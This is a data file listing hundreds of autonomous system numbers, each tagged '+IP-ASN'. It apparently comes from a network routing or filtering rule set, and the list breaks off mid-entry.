64473 +IP-ASN, 27453 +IP-ASN, 26122 +IP-ASN, 63144 +IP-ASN, 26121 +IP-ASN, 63146 +IP-ASN, 27455 +IP-ASN, 26124 +IP-ASN, 26123 +IP-ASN, 63148 +IP-ASN, 27457 +IP-ASN, 26126 +IP-ASN, 26125 +IP-ASN, 27448 +IP-ASN, 26117 +IP-ASN, 27447 +IP-ASN, 63150 +IP-ASN, 63151 +IP-ASN, 210527 +IP-ASN, 63152 +IP-ASN, 14142 +IP-ASN, 14143 +IP-ASN, 14140 +IP-ASN, 14147 +IP-ASN, 14144 +IP-ASN, 14145 +IP-ASN, 63139 +IP-ASN, 14128 +IP-ASN, 16789 +IP-ASN, 14127 +IP-ASN, 16788 +IP-ASN, 63133 +IP-ASN, 26111 +IP-ASN, 27441 +IP-ASN, 63136 +IP-ASN, 27446 +IP-ASN, 63137 +IP-ASN, 63138 +IP-ASN, 26114 +IP-ASN, 27437 +IP-ASN, 27439 +IP-ASN, 16790 +IP-ASN, 26109 +IP-ASN, 63140 +IP-ASN, 63141 +IP-ASN, 14131 +IP-ASN, 16794 +IP-ASN, 16793 +IP-ASN, 14132 +IP-ASN, 16791 +IP-ASN, 14135 +IP-ASN, 14136 +IP-ASN, 16795 +IP-ASN, 14134 +IP-ASN, 16778 +IP-ASN, 16777 +IP-ASN, 14119 +IP-ASN, 63164 +IP-ASN, 63165 +IP-ASN, 26100 +IP-ASN, 63166 +IP-ASN, 63167 +IP-ASN, 63168 +IP-ASN, 26102 +IP-ASN, 63169 +IP-ASN, 26101 +IP-ASN, 27435 +IP-ASN, 27434 +IP-ASN, 27426 +IP-ASN, 27425 +IP-ASN, 63171 +IP-ASN, 63172 +IP-ASN, 27429 +IP-ASN, 63174 +IP-ASN, 14120 +IP-ASN, 16783 +IP-ASN, 14121 +IP-ASN, 16782 +IP-ASN, 211831 +IP-ASN, 16787 +IP-ASN, 16785 +IP-ASN, 16784 +IP-ASN, 14106 +IP-ASN, 399601 +IP-ASN, 16769 +IP-ASN, 14107 +IP-ASN, 16767 +IP-ASN, 14105 +IP-ASN, 14109 +IP-ASN, 63153 +IP-ASN, 399609 +IP-ASN, 63154 +IP-ASN, 399607 +IP-ASN, 63156 +IP-ASN, 63157 +IP-ASN, 27422 +IP-ASN, 399605 +IP-ASN, 399606 +IP-ASN, 27421 +IP-ASN, 27424 +IP-ASN, 399603 +IP-ASN, 399604 +IP-ASN, 27414 +IP-ASN, 27419 +IP-ASN, 63160 +IP-ASN, 63161 +IP-ASN, 27418 +IP-ASN, 63163 +IP-ASN, 14110 +IP-ASN, 16770 +IP-ASN, 14114 +IP-ASN, 16774 +IP-ASN, 16773 +IP-ASN, 53709 +IP-ASN, 53703 +IP-ASN, 53704 +IP-ASN, 53701 +IP-ASN, 53708 +IP-ASN, 53706 +IP-ASN, 53700 +IP-ASN, 40405 +IP-ASN, 40403 +IP-ASN, 40408 +IP-ASN, 40400 +IP-ASN, 40401 +IP-ASN, 53715 +IP-ASN, 53712 +IP-ASN, 53713 +IP-ASN, 53718 +IP-ASN, 53719 +IP-ASN, 53710 +IP-ASN, 40413 +IP-ASN, 40417 +IP-ASN, 40411 +IP-ASN, 40412 +IP-ASN, 40410 +IP-ASN, 53725 +IP-ASN, 53726 +IP-ASN, 53729 +IP-ASN, 53727 +IP-ASN, 53721 +IP-ASN, 53722 +IP-ASN, 53720 +IP-ASN, 40427 +IP-ASN, 40425 +IP-ASN, 2495 +IP-ASN, 2496 +IP-ASN, 40428 +IP-ASN, 40429 +IP-ASN, 208287 +IP-ASN, 40422 +IP-ASN, 40420 +IP-ASN, 40421 +IP-ASN, 53736 +IP-ASN, 53734 +IP-ASN, 53738 +IP-ASN, 53739 +IP-ASN, 53730 +IP-ASN, 40437 +IP-ASN, 40435 +IP-ASN, 26191 +IP-ASN, 26190 +IP-ASN, 26192 +IP-ASN, 26197 +IP-ASN, 40430 +IP-ASN, 26196 +IP-ASN, 26199 +IP-ASN, 40433 +IP-ASN, 40434 +IP-ASN, 40432 +IP-ASN, 53747 +IP-ASN, 53748 +IP-ASN, 53745 +IP-ASN, 53746 +IP-ASN, 53749 +IP-ASN, 53740 +IP-ASN, 53741 +IP-ASN, 53742 +IP-ASN, 40448 +IP-ASN, 40447 +IP-ASN, 26182 +IP-ASN, 26181 +IP-ASN, 40444 +IP-ASN, 26189 +IP-ASN, 40443 +IP-ASN, 53758 +IP-ASN, 53759 +IP-ASN, 199707 +IP-ASN, 199701 +IP-ASN, 53750 +IP-ASN, 53754 +IP-ASN, 53755 +IP-ASN, 53752 +IP-ASN, 40459 +IP-ASN, 40457 +IP-ASN, 40458 +IP-ASN, 26171 +IP-ASN, 26170 +IP-ASN, 26172 +IP-ASN, 40451 +IP-ASN, 26174 +IP-ASN, 26176 +IP-ASN, 26178 +IP-ASN, 40454 +IP-ASN, 53769 +IP-ASN, 53767 +IP-ASN, 53768 +IP-ASN, 14191 +IP-ASN, 14192 +IP-ASN, 14197 +IP-ASN, 14195 +IP-ASN, 53760 +IP-ASN, 14196 +IP-ASN, 53765 +IP-ASN, 53766 +IP-ASN, 53763 +IP-ASN, 14199 +IP-ASN, 398369 +IP-ASN, 397037 +IP-ASN, 2698 +IP-ASN, 399698 +IP-ASN, 398367 +IP-ASN, 397039 +IP-ASN, 397038 +IP-ASN, 399699 +IP-ASN, 398368 +IP-ASN, 398365 +IP-ASN, 399697 +IP-ASN, 2695 +IP-ASN, 399695 +IP-ASN, 398364 +IP-ASN, 398361 +IP-ASN, 399693 +IP-ASN, 397031 +IP-ASN, 398360 +IP-ASN, 399691 +IP-ASN, 397030 +IP-ASN, 1360 +IP-ASN, 397048 +IP-ASN, 398378 +IP-ASN, 398376 +IP-ASN, 397044 +IP-ASN, 397043 +IP-ASN, 1379 +IP-ASN, 1378 +IP-ASN, 398374 +IP-ASN, 397045 +IP-ASN, 397040 +IP-ASN, 398373 +IP-ASN, 398370 +IP-ASN, 397042 +IP-ASN, 397041 +IP-ASN, 398371 +IP-ASN, 1387 +IP-ASN, 397059 +IP-ASN, 397058 +IP-ASN, 398389 +IP-ASN, 398387 +IP-ASN, 397055 +IP-ASN, 398388 +IP-ASN, 398385 +IP-ASN, 397057 +IP-ASN, 397056 +IP-ASN, 397051 +IP-ASN, 398383 +IP-ASN, 397050 +IP-ASN, 398384 +IP-ASN, 398381 +IP-ASN, 397053 +IP-ASN, 398382 +IP-ASN, 1383 +IP-ASN, 398380 +IP-ASN, 1380 +IP-ASN, 398398 +IP-ASN, 397066 +IP-ASN, 398399 +IP-ASN, 397065 +IP-ASN, 397068 +IP-ASN, 1399 +IP-ASN, 397067 +IP-ASN, 398397 +IP-ASN, 397062 +IP-ASN, 398394 +IP-ASN, 398395 +IP-ASN, 397061 +IP-ASN, 397064 +IP-ASN, 398392 +IP-ASN, 398393 +IP-ASN, 398390 +IP-ASN, 398391 +IP-ASN, 397060 +IP-ASN, 1321 +IP-ASN, 397077 +IP-ASN, 1325 +IP-ASN, 397076 +IP-ASN, 2650 +IP-ASN, 397079 +IP-ASN, 1323 +IP-ASN, 397078 +IP-ASN, 1326 +IP-ASN, 397075 +IP-ASN, 397074 +IP-ASN, 397071 +IP-ASN, 397088 +IP-ASN, 397087 +IP-ASN, 397089 +IP-ASN, 1339 +IP-ASN, 3999 +IP-ASN, 397086 +IP-ASN, 397085 +IP-ASN, 397080 +IP-ASN, 397082 +IP-ASN, 1341 +IP-ASN, 397099 +IP-ASN, 1347 +IP-ASN, 397098 +IP-ASN, 1348 +IP-ASN, 397095 +IP-ASN, 140952 +IP-ASN, 397097 +IP-ASN, 397091 +IP-ASN, 397090 +IP-ASN, 397093 +IP-ASN, 397092 +IP-ASN, 2686 +IP-ASN, 2687 +IP-ASN, 2688 +IP-ASN, 1351 +IP-ASN, 1358 +IP-ASN, 2685 +IP-ASN, 1355 +IP-ASN, 16758 +IP-ASN, 399612 +IP-ASN, 399610 +IP-ASN, 16756 +IP-ASN, 3943 +IP-ASN, 3949 +IP-ASN, 63067 +IP-ASN, 399618 +IP-ASN, 399619 +IP-ASN, 63069 +IP-ASN, 399616 +IP-ASN, 27411 +IP-ASN, 3944 +IP-ASN, 399617 +IP-ASN, 2615 +IP-ASN, 399615 +IP-ASN, 27412 +IP-ASN, 27403 +IP-ASN, 63070 +IP-ASN, 27405 +IP-ASN, 63071 +IP-ASN, 63073 +IP-ASN, 27409 +IP-ASN, 16761 +IP-ASN, 16760 +IP-ASN, 14103 +IP-ASN, 16764 +IP-ASN, 16763 +IP-ASN, 14100 +IP-ASN, 16747 +IP-ASN, 16746 +IP-ASN, 399624 +IP-ASN, 2621 +IP-ASN, 16745 +IP-ASN, 399622 +IP-ASN, 16744 +IP-ASN, 3954 +IP-ASN, 399620 +IP-ASN, 51095 +IP-ASN, 63054 +IP-ASN, 63056 +IP-ASN, 399629 +IP-ASN, 63057 +IP-ASN, 27400 +IP-ASN, 3955 +IP-ASN, 63059 +IP-ASN, 399628 +IP-ASN, 27402 +IP-ASN, 399625 +IP-ASN, 27401 +IP-ASN, 63060 +IP-ASN, 63061 +IP-ASN, 63062 +IP-ASN, 63064 +IP-ASN, 16750 +IP-ASN, 51087 +IP-ASN, 16754 +IP-ASN, 16752 +IP-ASN, 2631 +IP-ASN, 399634 +IP-ASN, 398303 +IP-ASN, 399635 +IP-ASN, 398304 +IP-ASN, 399632 +IP-ASN, 398301 +IP-ASN, 2633 +IP-ASN, 16734 +IP-ASN, 16733 +IP-ASN, 2634 +IP-ASN, 399633 +IP-ASN, 398300 +IP-ASN, 16739 +IP-ASN, 16738 +IP-ASN, 2639 +IP-ASN, 63087 +IP-ASN, 63089 +IP-ASN, 398309 +IP-ASN, 2635 +IP-ASN, 398307 +IP-ASN, 3967 +IP-ASN, 2636 +IP-ASN, 399639 +IP-ASN, 2637 +IP-ASN, 399636 +IP-ASN, 398306 +IP-ASN, 399637 +IP-ASN, 63090 +IP-ASN, 63092 +IP-ASN, 63097 +IP-ASN, 16743 +IP-ASN, 16741 +IP-ASN, 398314 +IP-ASN, 2642 +IP-ASN, 16724 +IP-ASN, 399646 +IP-ASN, 399643 +IP-ASN, 398312 +IP-ASN, 398313 +IP-ASN, 16722 +IP-ASN, 399641 +IP-ASN, 398310 +IP-ASN, 16728 +IP-ASN, 1313 +IP-ASN, 398311 +IP-ASN, 1312 +IP-ASN, 2640 +IP-ASN, 1311 +IP-ASN, 2641 +IP-ASN, 399640 +IP-ASN, 63077 +IP-ASN, 63078 +IP-ASN, 1315 +IP-ASN, 2646 +IP-ASN, 398319 +IP-ASN, 399647 +IP-ASN, 398316 +IP-ASN, 2648 +IP-ASN, 63081 +IP-ASN, 63083 +IP-ASN, 63086 +IP-ASN, 16714 +IP-ASN, 399656 +IP-ASN, 398325 +IP-ASN, 16713 +IP-ASN, 399654 +IP-ASN, 398323 +IP-ASN, 398324 +IP-ASN, 16711 +IP-ASN, 399652 +IP-ASN, 16717 +IP-ASN, 398322 +IP-ASN, 399653 +IP-ASN, 16716 +IP-ASN, 16715 +IP-ASN, 399651 +IP-ASN, 398320 +IP-ASN, 16719 +IP-ASN, 3900 +IP-ASN, 399658 +IP-ASN, 3902 +IP-ASN, 398328 +IP-ASN, 398336 +IP-ASN, 397004 +IP-ASN, 399668 +IP-ASN, 398337 +IP-ASN, 398334 +IP-ASN, 399665 +IP-ASN, 16700 +IP-ASN, 3910 +IP-ASN, 398335 +IP-ASN, 397005 +IP-ASN, 398332 +IP-ASN, 399663 +IP-ASN, 397000 +IP-ASN, 16707 +IP-ASN, 399664 +IP-ASN, 16706 +IP-ASN, 399661 +IP-ASN, 398330 +IP-ASN, 397002 +IP-ASN, 398331 +IP-ASN, 63098 +IP-ASN, 3916 +IP-ASN, 16708 +IP-ASN, 3911 +IP-ASN, 3912 +IP-ASN, 397007 +IP-ASN, 399669 +IP-ASN, 3914 +IP-ASN, 3908 +IP-ASN, 3909 +IP-ASN, 399660 +IP-ASN, 16710 +IP-ASN, 199594 +IP-ASN, 399678 +IP-ASN, 398347 +IP-ASN, 397015 +IP-ASN, 398348 +IP-ASN, 398345 +IP-ASN, 399676 +IP-ASN, 397016 +IP-ASN, 3921 +IP-ASN, 398343 +IP-ASN, 399675 +IP-ASN, 398344 +IP-ASN, 397010 +IP-ASN, 399672 +IP-ASN, 397013 +IP-ASN, 399673 +IP-ASN, 397012 +IP-ASN, 3926 +IP-ASN, 397019 +IP-ASN, 397018 +IP-ASN, 3923 +IP-ASN, 3925 +IP-ASN, 397026 +IP-ASN, 399689 +IP-ASN, 398359 +IP-ASN, 3930 +IP-ASN, 397028 +IP-ASN, 3931 +IP-ASN, 397027 +IP-ASN, 398357 +IP-ASN, 399685 +IP-ASN, 398355 +IP-ASN, 397021 +IP-ASN, 397024 +IP-ASN, 399683 +IP-ASN, 399684 +IP-ASN, 3938 +IP-ASN, 3939 +IP-ASN, 3933 +IP-ASN, 397029 +IP-ASN, 3935 +IP-ASN, 399681 +IP-ASN, 398351 +IP-ASN, 399682 +IP-ASN, 40349 +IP-ASN, 40347 +IP-ASN, 27370 +IP-ASN, 27371 +IP-ASN, 26043 +IP-ASN, 26042 +IP-ASN, 40342 +IP-ASN, 27373 +IP-ASN, 27376 +IP-ASN, 26045 +IP-ASN, 27377 +IP-ASN, 40346 +IP-ASN, 26046 +IP-ASN, 40344 +IP-ASN, 27379 +IP-ASN, 53659 +IP-ASN, 26039 +IP-ASN, 53657 +IP-ASN, 54989 +IP-ASN, 53658 +IP-ASN, 14061 +IP-ASN, 14062 +IP-ASN, 14060 +IP-ASN, 54982 +IP-ASN, 14065 +IP-ASN, 53652 +IP-ASN, 54983 +IP-ASN, 14064 +IP-ASN, 54986 +IP-ASN, 53655 +IP-ASN, 53656 +IP-ASN, 14067 +IP-ASN, 54985 +IP-ASN, 14068 +IP-ASN, 199683 +IP-ASN, 40358 +IP-ASN, 14049 +IP-ASN, 53670 +IP-ASN, 27361 +IP-ASN, 27360 +IP-ASN, 27363 +IP-ASN, 26032 +IP-ASN, 26031 +IP-ASN, 40350 +IP-ASN, 26034 +IP-ASN, 27365 +IP-ASN, 27364 +IP-ASN, 40351 +IP-ASN, 40356 +IP-ASN, 26036 +IP-ASN, 40357 +IP-ASN, 26038 +IP-ASN, 27369 +IP-ASN, 40354 +IP-ASN, 40355 +IP-ASN, 27368 +IP-ASN, 26029 +IP-ASN, 26028 +IP-ASN, 54999 +IP-ASN, 14051 +IP-ASN, 40360 +IP-ASN, 54993 +IP-ASN, 53662 +IP-ASN, 53663 +IP-ASN, 14055 +IP-ASN, 54991 +IP-ASN, 14052 +IP-ASN, 53666 +IP-ASN, 14058 +IP-ASN, 53667 +IP-ASN, 54998 +IP-ASN, 14056 +IP-ASN, 53664 +IP-ASN, 14057 +IP-ASN, 54996 +IP-ASN, 53665 +IP-ASN, 63007 +IP-ASN, 14038 +IP-ASN, 63009 +IP-ASN, 40369 +IP-ASN, 14039 +IP-ASN, 53680 +IP-ASN, 40363 +IP-ASN, 26021 +IP-ASN, 26020 +IP-ASN, 40364 +IP-ASN, 63001 +IP-ASN, 40362 +IP-ASN, 27353 +IP-ASN, 27356 +IP-ASN, 40367 +IP-ASN, 28688 +IP-ASN, 40368 +IP-ASN, 27358 +IP-ASN, 40365 +IP-ASN, 63005 +IP-ASN, 63006 +IP-ASN, 27357 +IP-ASN, 26026 +IP-ASN, 27349 +IP-ASN, 26018 +IP-ASN, 27348 +IP-ASN, 26017 +IP-ASN, 40370 +IP-ASN, 40371 +IP-ASN, 14043 +IP-ASN, 198376 +IP-ASN, 14044 +IP-ASN, 53674 +IP-ASN, 14041 +IP-ASN, 14042 +IP-ASN, 53677 +IP-ASN, 14047 +IP-ASN, 14048 +IP-ASN, 53675 +IP-ASN, 14045 +IP-ASN, 53676 +IP-ASN, 14046 +IP-ASN, 15358 +IP-ASN, 15359 +IP-ASN, 53692 +IP-ASN, 53690 +IP-ASN, 27341 +IP-ASN, 40374 +IP-ASN, 26010 +IP-ASN, 40375 +IP-ASN, 27343 +IP-ASN, 40372 +IP-ASN, 40373 +IP-ASN, 26011 +IP-ASN, 27345 +IP-ASN, 40378 +IP-ASN, 26013 +IP-ASN, 27344 +IP-ASN, 27347 +IP-ASN, 26016 +IP-ASN, 40377 +IP-ASN, 27338 +IP-ASN, 26007 +IP-ASN, 26006 +IP-ASN, 27337 +IP-ASN, 26009 +IP-ASN, 26008 +IP-ASN, 27339 +IP-ASN, 40381 +IP-ASN, 40382 +IP-ASN, 40380 +IP-ASN, 53684 +IP-ASN, 14032 +IP-ASN, 16693 +IP-ASN, 53682 +IP-ASN, 16692 +IP-ASN, 16699 +IP-ASN, 16698 +IP-ASN, 53689 +IP-ASN, 14037 +IP-ASN, 14034 +IP-ASN, 16697 +IP-ASN, 53687 +IP-ASN, 14035 +IP-ASN, 63029 +IP-ASN, 15349 +IP-ASN, 15347 +IP-ASN, 14016 +IP-ASN, 14017 +IP-ASN, 16678 +IP-ASN, 29990 +IP-ASN, 27330 +IP-ASN, 29993 +IP-ASN, 40385 +IP-ASN, 29994 +IP-ASN, 40386 +IP-ASN, 63023 +IP-ASN, 26001 +IP-ASN, 29992 +IP-ASN, 29997 +IP-ASN, 63025 +IP-ASN, 40389 +IP-ASN, 26002 +IP-ASN, 40387 +IP-ASN, 27336 +IP-ASN, 63027 +IP-ASN, 26005 +IP-ASN, 29996 +IP-ASN, 27335 +IP-ASN, 26004 +IP-ASN, 211739 +IP-ASN, 27326 +IP-ASN, 27329 +IP-ASN, 29989 +IP-ASN, 27328 +IP-ASN, 40393 +IP-ASN, 40390 +IP-ASN, 63030 +IP-ASN, 40391 +IP-ASN, 63031 +IP-ASN, 53695 +IP-ASN, 14021 +IP-ASN, 14022 +IP-ASN, 53693 +IP-ASN, 15350 +IP-ASN, 16681 +IP-ASN, 14020 +IP-ASN, 53694 +IP-ASN, 53699 +IP-ASN, 16688 +IP-ASN, 15357 +IP-ASN, 15354 +IP-ASN, 53697 +IP-ASN, 14023 +IP-ASN, 53698 +IP-ASN, 63018 +IP-ASN, 15338 +IP-ASN, 16669 +IP-ASN, 399701 +IP-ASN, 16668 +IP-ASN, 15336 +IP-ASN, 14005 +IP-ASN, 14006 +IP-ASN, 16667 +IP-ASN, 15337 +IP-ASN, 63010 +IP-ASN, 29982 +IP-ASN, 40397 +IP-ASN, 63011 +IP-ASN, 399709 +IP-ASN, 27321 +IP-ASN, 63012 +IP-ASN, 399706 +IP-ASN, 40395 +IP-ASN, 399707 +IP-ASN, 29981 +IP-ASN, 27320 +IP-ASN, 63013 +IP-ASN, 63014 +IP-ASN, 29986 +IP-ASN, 27323 +IP-ASN, 63015 +IP-ASN, 399705 +IP-ASN, 27322 +IP-ASN, 27325 +IP-ASN, 63016 +IP-ASN, 399702 +IP-ASN, 29984 +IP-ASN, 29985 +IP-ASN, 40399 +IP-ASN, 399703 +IP-ASN, 29979 +IP-ASN, 27316 +IP-ASN, 27317 +IP-ASN, 63020 +IP-ASN, 14010 +IP-ASN, 15342 +IP-ASN, 14011 +IP-ASN, 16671 +IP-ASN, 199632 +IP-ASN, 15340 +IP-ASN, 16677 +IP-ASN, 15346 +IP-ASN, 16676 +IP-ASN, 15343 +IP-ASN, 14012 +IP-ASN, 14013 +IP-ASN, 16674 +IP-ASN, 16659 +IP-ASN, 15327 +IP-ASN, 399712 +IP-ASN, 15328 +IP-ASN, 16657 +IP-ASN, 15326 +IP-ASN, 29971 +IP-ASN, 63044 +IP-ASN, 29972 +IP-ASN, 399717 +IP-ASN, 27310 +IP-ASN, 29970 +IP-ASN, 63047 +IP-ASN, 27311 +IP-ASN, 399716 +IP-ASN, 63048 +IP-ASN, 399713 +IP-ASN, 29973 +IP-ASN, 27314 +IP-ASN, 27313 +IP-ASN, 399714 +IP-ASN, 29968 +IP-ASN, 27305 +IP-ASN, 29969 +IP-ASN, 27304 +IP-ASN, 27307 +IP-ASN, 29966 +IP-ASN, 29967 +IP-ASN, 27306 +IP-ASN, 63050 +IP-ASN, 27309 +IP-ASN, 63051 +IP-ASN, 16661 +IP-ASN, 15331 +IP-ASN, 16660 +IP-ASN, 16666 +IP-ASN, 15334 +IP-ASN, 16665 +IP-ASN, 15335 +IP-ASN, 16664 +IP-ASN, 14001 +IP-ASN, 14002 +IP-ASN, 399722 +IP-ASN, 16648 +IP-ASN, 15317 +IP-ASN, 16647 +IP-ASN, 399723 +IP-ASN, 15314 +IP-ASN, 16645 +IP-ASN, 399721 +IP-ASN, 15319 +IP-ASN, 29960 +IP-ASN, 63032 +IP-ASN, 63033 +IP-ASN, 29961 +IP-ASN, 399728 +IP-ASN, 399726 +IP-ASN, 29964 +IP-ASN, 27301 +IP-ASN, 63037 +IP-ASN, 399727 +IP-ASN, 29962 +IP-ASN, 63038 +IP-ASN, 27303 +IP-ASN, 399725 +IP-ASN, 63039 +IP-ASN, 29963 +IP-ASN, 29957 +IP-ASN, 29955 +IP-ASN, 29956 +IP-ASN, 63040 +IP-ASN, 199656 +IP-ASN, 29959 +IP-ASN, 198321 +IP-ASN, 15320 +IP-ASN, 16650 +IP-ASN, 15323 +IP-ASN, 16655 +IP-ASN, 15324 +IP-ASN, 16654 +IP-ASN, 16653 +IP-ASN, 16652 +IP-ASN, 15322 +IP-ASN, 136025 +IP-ASN, 54909 +IP-ASN, 54903 +IP-ASN, 199605 +IP-ASN, 54900 +IP-ASN, 54901 +IP-ASN, 54906 +IP-ASN, 54905 +IP-ASN, 150318 +IP-ASN, 54913 +IP-ASN, 54914 +IP-ASN, 54911 +IP-ASN, 54912 +IP-ASN, 54917 +IP-ASN, 54918 +IP-ASN, 208188 +IP-ASN, 54924 +IP-ASN, 54925 +IP-ASN, 54923 +IP-ASN, 54928 +IP-ASN, 199626 +IP-ASN, 54920 +IP-ASN, 41625 +IP-ASN, 26091 +IP-ASN, 26093 +IP-ASN, 26096 +IP-ASN, 26095 +IP-ASN, 26098 +IP-ASN, 26097 +IP-ASN, 53604 +IP-ASN, 54936 +IP-ASN, 53605 +IP-ASN, 54933 +IP-ASN, 53602 +IP-ASN, 54934 +IP-ASN, 53603 +IP-ASN, 199613 +IP-ASN, 54938 +IP-ASN, 53607 +IP-ASN, 54932 +IP-ASN, 54930 +IP-ASN, 40306 +IP-ASN, 1287 +IP-ASN, 1286 +IP-ASN, 40303 +IP-ASN, 26081 +IP-ASN, 26083 +IP-ASN, 26082 +IP-ASN, 26085 +IP-ASN, 1289 +IP-ASN, 26084 +IP-ASN, 26087 +IP-ASN, 26086 +IP-ASN, 26088 +IP-ASN, 40302 +IP-ASN, 40300 +IP-ASN, 54946 +IP-ASN, 53616 +IP-ASN, 54947 +IP-ASN, 53613 +IP-ASN, 54945 +IP-ASN, 53614 +IP-ASN, 53617 +IP-ASN, 54949 +IP-ASN, 1280 +IP-ASN, 53612 +IP-ASN, 54943 +IP-ASN, 54940 +IP-ASN, 53610 +IP-ASN, 40317 +IP-ASN, 26072 +IP-ASN, 26074 +IP-ASN, 26073 +IP-ASN, 26076 +IP-ASN, 26075 +IP-ASN, 26078 +IP-ASN, 26077 +IP-ASN, 26079 +IP-ASN, 40313 +IP-ASN, 40310 +IP-ASN, 40311 +IP-ASN, 54957 +IP-ASN, 53626 +IP-ASN, 14090 +IP-ASN, 14091 +IP-ASN, 54958 +IP-ASN, 53624 +IP-ASN, 54956 +IP-ASN, 14094 +IP-ASN, 14095 +IP-ASN, 53628 +IP-ASN, 54959 +IP-ASN, 14092 +IP-ASN, 53629 +IP-ASN, 14096 +IP-ASN, 14097 +IP-ASN, 1294 +IP-ASN, 54954 +IP-ASN, 39335 +IP-ASN, 53620 +IP-ASN, 1293 +IP-ASN, 53621 +IP-ASN, 54952 +IP-ASN, 40327 +IP-ASN, 40328 +IP-ASN, 27390 +IP-ASN, 40326 +IP-ASN, 27392 +IP-ASN, 27391 +IP-ASN, 26060 +IP-ASN, 26063 +IP-ASN, 27394 +IP-ASN, 26065 +IP-ASN, 27396 +IP-ASN, 26064 +IP-ASN, 40320 +IP-ASN, 27398 +IP-ASN, 26066 +IP-ASN, 26069 +IP-ASN, 40323 +IP-ASN, 26068 +IP-ASN, 27399 +IP-ASN, 40324 +IP-ASN, 40321 +IP-ASN, 54968 +IP-ASN, 53638 +IP-ASN, 54969 +IP-ASN, 54967 +IP-ASN, 53639 +IP-ASN, 54960 +IP-ASN, 54961 +IP-ASN, 14088 +IP-ASN, 14085 +IP-ASN, 54964 +IP-ASN, 53633 +IP-ASN, 53634 +IP-ASN, 54965 +IP-ASN, 54962 +IP-ASN, 14089 +IP-ASN, 54963 +IP-ASN, 40338 +IP-ASN, 40339 +IP-ASN, 40336 +IP-ASN, 26050 +IP-ASN, 26052 +IP-ASN, 27383 +IP-ASN, 27382 +IP-ASN, 27385 +IP-ASN, 26054 +IP-ASN, 40330 +IP-ASN, 40331 +IP-ASN, 26053 +IP-ASN, 27387 +IP-ASN, 26058 +IP-ASN, 40334 +IP-ASN, 27389 +IP-ASN, 26057 +IP-ASN, 40335 +IP-ASN, 26059 +IP-ASN, 54979 +IP-ASN, 53648 +IP-ASN, 54977 +IP-ASN, 53646 +IP-ASN, 54978 +IP-ASN, 53647 +IP-ASN, 14072 +IP-ASN, 14073 +IP-ASN, 14070 +IP-ASN, 14076 +IP-ASN, 53640 +IP-ASN, 53641 +IP-ASN, 54972 +IP-ASN, 14077 +IP-ASN, 14074 +IP-ASN, 54970 +IP-ASN, 54976 +IP-ASN, 53642 +IP-ASN, 54973 +IP-ASN, 53643 +IP-ASN, 54974 +IP-ASN, 14079 +IP-ASN, 397158 +IP-ASN, 397157 +IP-ASN, 398487 +IP-ASN, 398484 +IP-ASN, 397156 +IP-ASN, 398485 +IP-ASN, 397155 +IP-ASN, 397150 +IP-ASN, 398483 +IP-ASN, 398480 +IP-ASN, 397151 +IP-ASN, 397169 +IP-ASN, 398499 +IP-ASN, 397165 +IP-ASN, 398497 +IP-ASN, 397167 +IP-ASN, 398495 +IP-ASN, 398496 +IP-ASN, 398493 +IP-ASN, 397161 +IP-ASN, 398491 +IP-ASN, 397162 +IP-ASN, 398492 +IP-ASN, 1493 +IP-ASN, 1492 +IP-ASN, 397179 +IP-ASN, 397176 +IP-ASN, 397175 +IP-ASN, 397178 +IP-ASN, 397171 +IP-ASN, 397174 +IP-ASN, 397187 +IP-ASN, 397189 +IP-ASN, 397182 +IP-ASN, 397185 +IP-ASN, 1442 +IP-ASN, 1441 +IP-ASN, 1440 +IP-ASN, 1446 +IP-ASN, 397198 +IP-ASN, 1445 +IP-ASN, 397197 +IP-ASN, 1444 +IP-ASN, 1443 +IP-ASN, 1449 +IP-ASN, 1448 +IP-ASN, 1447 +IP-ASN, 397194 +IP-ASN, 397193 +IP-ASN, 397196 +IP-ASN, 397195 +IP-ASN, 397191 +IP-ASN, 1462 +IP-ASN, 15305 +IP-ASN, 398402 +IP-ASN, 2731 +IP-ASN, 399734 +IP-ASN, 398403 +IP-ASN, 15306 +IP-ASN, 16636 +IP-ASN, 15303 +IP-ASN, 2732 +IP-ASN, 16635 +IP-ASN, 15304 +IP-ASN, 398401 +IP-ASN, 1401 +IP-ASN, 15307 +IP-ASN, 16639 +IP-ASN, 16638 +IP-ASN, 64275 +IP-ASN, 1406 +IP-ASN, 2738 +IP-ASN, 64277 +IP-ASN, 398408 +IP-ASN, 64278 +IP-ASN, 398409 +IP-ASN, 2734 +IP-ASN, 398406 +IP-ASN, 64279 +IP-ASN, 399737 +IP-ASN, 29954 +IP-ASN, 399738 +IP-ASN, 398407 +IP-ASN, 29951 +IP-ASN, 399735 +IP-ASN, 1408 +IP-ASN, 29952 +IP-ASN, 1407 +IP-ASN, 398405 +IP-ASN, 29946 +IP-ASN, 29944 +IP-ASN, 64280 +IP-ASN, 64281 +IP-ASN, 64282 +IP-ASN, 64283 +IP-ASN, 29948 +IP-ASN, 64284 +IP-ASN, 29949 +IP-ASN, 16640 +IP-ASN, 16643 +IP-ASN, 15313 +IP-ASN, 16641 +IP-ASN, 398413 +IP-ASN, 16626 +IP-ASN, 16625 +IP-ASN, 399745 +IP-ASN, 398414 +IP-ASN, 398412 +IP-ASN, 399740 +IP-ASN, 398410 +IP-ASN, 399741 +IP-ASN, 1412 +IP-ASN, 1411 +IP-ASN, 16628 +IP-ASN, 1410 +IP-ASN, 16627 +IP-ASN, 2749 +IP-ASN, 1416 +IP-ASN, 398419 +IP-ASN, 64266 +IP-ASN, 1415 +IP-ASN, 64267 +IP-ASN, 1414 +IP-ASN, 29942 +IP-ASN, 399749 +IP-ASN, 29943 +IP-ASN, 1419 +IP-ASN, 398415 +IP-ASN, 29940 +IP-ASN, 398416 +IP-ASN, 29941 +IP-ASN, 399747 +IP-ASN, 29935 +IP-ASN, 29936 +IP-ASN, 29933 +IP-ASN, 29934 +IP-ASN, 64271 +IP-ASN, 64273 +IP-ASN, 29937 +IP-ASN, 29938 +IP-ASN, 15301 +IP-ASN, 16633 +IP-ASN, 15302 +IP-ASN, 15300 +IP-ASN, 398424 +IP-ASN, 16615 +IP-ASN, 1420 +IP-ASN, 399756 +IP-ASN, 16614 +IP-ASN, 398422 +IP-ASN, 16612 +IP-ASN, 398423 +IP-ASN, 399754 +IP-ASN, 16619 +IP-ASN, 399751 +IP-ASN, 398420 +IP-ASN, 16618 +IP-ASN, 1423 +IP-ASN, 398421 +IP-ASN, 16617 +IP-ASN, 1422 +IP-ASN, 1421 +IP-ASN, 16616 +IP-ASN, 399750 +IP-ASN, 1428 +IP-ASN, 1426 +IP-ASN, 399759 +IP-ASN, 398428 +IP-ASN, 398429 +IP-ASN, 398426 +IP-ASN, 398427 +IP-ASN, 29930 +IP-ASN, 399758 +IP-ASN, 29924 +IP-ASN, 